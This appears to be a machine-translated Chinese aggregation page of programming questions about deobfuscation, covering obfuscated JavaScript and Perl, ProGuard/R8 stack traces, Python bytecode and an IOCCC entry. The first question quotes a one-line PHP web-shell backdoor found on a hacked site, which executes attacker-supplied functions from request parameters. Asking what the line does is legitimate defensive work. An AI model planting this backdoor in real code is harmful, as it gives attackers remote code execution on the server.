我在我的一个PHP文件中找到了黑客留下的一行脚本.它读起来像这样:
<?php
($_=@$_GET[2]).@$_($_POST[1]);
?>
Run Code Online (Sandbox Code Playgroud)
任何人都可以提供一些关于这行代码的提示吗?谢谢
我正在尝试编辑Greasemonkey/jQuery脚本.我不能在这里发布链接.
使用minify对代码进行模糊处理和压缩.
它是这样开始的:
var _0x21e9 = ["\x67\x65\x74\x4D\x6F\x6E\x74\x68", "\x67\x65\x74\x55\x54\x43\x44\x61\x74\x65", ...
Run Code Online (Sandbox Code Playgroud)
在解码之后,我得到了这个:
var _0x21e9=["getMonth","getUTCDate","getFullYear", ...
Run Code Online (Sandbox Code Playgroud)
这是一个巨大的名单(500+).然后,它有一些像这样的变量:
month = date[_0x21e9[0]](), day = date[_0x21e9[1]](), ...
Run Code Online (Sandbox Code Playgroud)
_0x21e9 [0]是getMonth,_0x21e9 [1]是getUTCDate等.
是否可以用实际变量名替换方括号?怎么样?
我对javascript/jQuery知之甚少,无法按照现在的方式"读取"代码.
我只想使用这个巨大脚本中的一些函数并删除其他我不需要的函数.
更新:我尝试使用jsbeautifier.org,如此处和重复的问题所示,但没有改变,除了"缩进".
它没有用解码的名称替换数组变量.
例如:
month = date[_0x21e9[0]]()
.month = date["getMonth"]()
.在线反混淆器似乎没有这样做,我怎么能这样做?
有没有办法让我与某人分享代码,至少是其中的一部分?我看过我不能发贴pastebin,或类似的.我不能在这里发布完整的代码.
这是代码的另一部分:
$(_0x21e9[8] + vid)[_0x21e9[18]]();
Run Code Online (Sandbox Code Playgroud)
[8]是"." [18]是"删除".手动更换它会产生奇怪的结果.
我正在研究在Perl中读取文件的有效方法,并遇到了这个非常有趣的内容:
my $text = do { local (@ARGV, $/) = $file; <> };
Run Code Online (Sandbox Code Playgroud)
我的问题是:这究竟是如何工作的?通常在啜饮你设置的文件时$/ = undef
,但我不知道这是怎么回事.事实证明,这一小段代码非常难以理解.
什么是简化的细分和解释?
现在我知道它是如何工作的,让我们真正想象!
并不是说这段代码有任何实际用途; 想出来并冷静看待它真的很有趣.这是一个同时啜饮多个文件的单线程!
my @texts = map { local (@ARGV, $/) = $_; <> } @files;
Run Code Online (Sandbox Code Playgroud) 我是Crashlytics的新手,而且我遇到了一个问题,那就是我的堆栈痕迹并没有消失.根据Crashlytics的说法,这应该是自动发生的.它应该使用.apk中包含的mappings.txt文件来解密堆栈跟踪.我对整个过程有几个问题,以及我应该如何解决问题.
1)默认情况下,mappings.txt文件应与.apk一起打包?我正在使用gradle; 你有什么选择吗?
2)我似乎无法从Crashlytics下载stacktrace,也无法更新其仪表板上的mappings.txt文件.这两种选择都可以吗?
3)我可以在其他地方获得堆栈跟踪,应用程序启用了GSM服务.
我找到了这个Perl程序:
''=~('(?{'.(']])@+}'^'-/@._]').'"'.('/<[*-_<+>?}{>]@}+@}]])@+}@<[*-_<+>?}{>]@^'^'`^=_^<]_[[]+[/,]_/]-/@._]/^=_^<]_[[]+[/,|').',$/})')
Run Code Online (Sandbox Code Playgroud)
它打印 "Obfuscated Perl to print obfuscated Perl"
我想知道它是如何打印出来的.
我有一个启用了Proguard的应用程序(minifyenabled true),最近在Google Play开发者控制台中收到了崩溃报告.当我看着它时,我看到了以下内容:
当Proguard启用时,我很惊讶地看到第1行中的完整类和方法名称.我以前总是看到这样的事情:
在com.myname.myapp.cf(未知来源)
我也很好奇线号是如何出现的,因为我没有在我的Proguard配置文件中保留行号(因此,为什么我通常在我的堆栈跟踪中看到'未知来源').
我反编译我的.apk,偷看了classes.dex文件,看起来一切都很好.我找到了堆栈跟踪的第1行中引用的类,并且类名确实是模糊的,方法名称也是如此.
现在,'MyActivity'(stacktrace的第2行)是我的应用程序的启动Activity,因此在Manifest中声明,所以我理解为什么它的名称没有被混淆,'onConnected'方法不是我的(它来自谷歌Play游戏服务),所以,再次,这是好的.
"MyMethodName"从所谓的内 onConnected像这样:
@Override
public void onConnected(Bundle arg0) {
myClassObject.myMethodName(); //Where myClassObject is an instance of MyClassName
}
Run Code Online (Sandbox Code Playgroud)
在我的build.gradle文件中将Debug设置为disabled.
我没有将mapping.txt文件上传到Play控制台,我手动运行回扫以查看我的去混淆堆栈跟踪.
如果有人能帮助我理解为什么我在这里看到我的全班和方法名,我会很感激?我可以/应该做些什么来防止这种情况发生?
无论如何,是否可以从.pyt文件中获取源代码?当我尝试打开所有时,我得到的是一堆符号。我有一个.exe文件,然后将文件转换为.pyc,但是主要的源代码似乎在.pyt中,尽管这是我假设的文件名是“ FILE”,但是当您通读时可以看到它的文件名是源代码中的.pyt。
我尝试使用在线工具进行解码,但没有运气。
我得到的例子:
c @ sG d d l Z d d l Z d d l Z d d l Z d d l m Z d d l m Z d d l m Z d d l Z d d l
m Z d d l m
Z
d d l m Z d d l Z d d l Z d d l Z d d l m Z d d l m Z d …
Run Code Online (Sandbox Code Playgroud) 我有一个应用程序,它崩溃了,就像每个好的应用程序应该的一样!不久前,Android 构建工具开始使用R8而不是Proguard。它有效并加快了我的构建速度,所以我不理会它。然后出现了一个异常堆栈跟踪,我必须对其进行反混淆。我使用了 proguard UI、retrace.bat
脚本和命令行,但所谓的反混淆堆栈跟踪仍然看起来很模糊。
查看mapping.txt
生成的结果,我在映射中看到了一堆我不记得以前见过的数字(行号?)。我怀疑这些是反混淆器首先失败的原因。
目前有什么方法可以对此类堆栈跟踪进行反混淆处理吗?
这段引人入胜的代码出现在第一届(1984 年)国际混淆 C 代码竞赛中:
http://www.ioccc.org/years.html#1984 (decot)
在清除了由 goto 和一些偷偷摸摸的注释引起的预处理器滥用和未使用代码的碎片后,您最终得到以下幸存代码(如果我错了,请纠正我!):
#include <stdio.h> //used to suppress warnings
#include <math.h> //used to suppress warnings
extern int fl00r; //renamed to not clash with floor from math.h - unless it's part of the trickery???
int b, k['a'] = {
sizeof(int(*)()),
};
struct tag {int x0,*xO;}
*main(int i, int dup, int signal) { //int added to suppress warnings
for(signal=0;*k *= * __FILE__ *i;) {
printf(&*"'\",=); /*\n\\", (*((int(*)())&fl00r))(i)); //see line 3
if(b&&k+sin(signal)/ * ((main) (b)-> xO));
} …
Run Code Online (Sandbox Code Playgroud) 我抓住了一些混淆的JavaScript代码.我试图理解它,并且这样做,我在控制台中输入了它的一部分.我不明白为什么
> ((!!+[]+"")[+!![]])
< "a"
Run Code Online (Sandbox Code Playgroud)
为什么在JavaScript中((!!+[]+"")[+!![]])
等于"a"
?还有其他一些代码片段可以获得其他字母吗?
我想这与自动铸造有关.
deobfuscation ×10
obfuscation ×3
android ×2
javascript ×2
perl ×2
proguard ×2
android-r8 ×1
bytecode ×1
c ×1
cracking ×1
crashlytics ×1
decode ×1
decompiling ×1
file-io ×1
google-play ×1
greasemonkey ×1
jquery ×1
php ×1
python ×1
scope ×1
security ×1
types ×1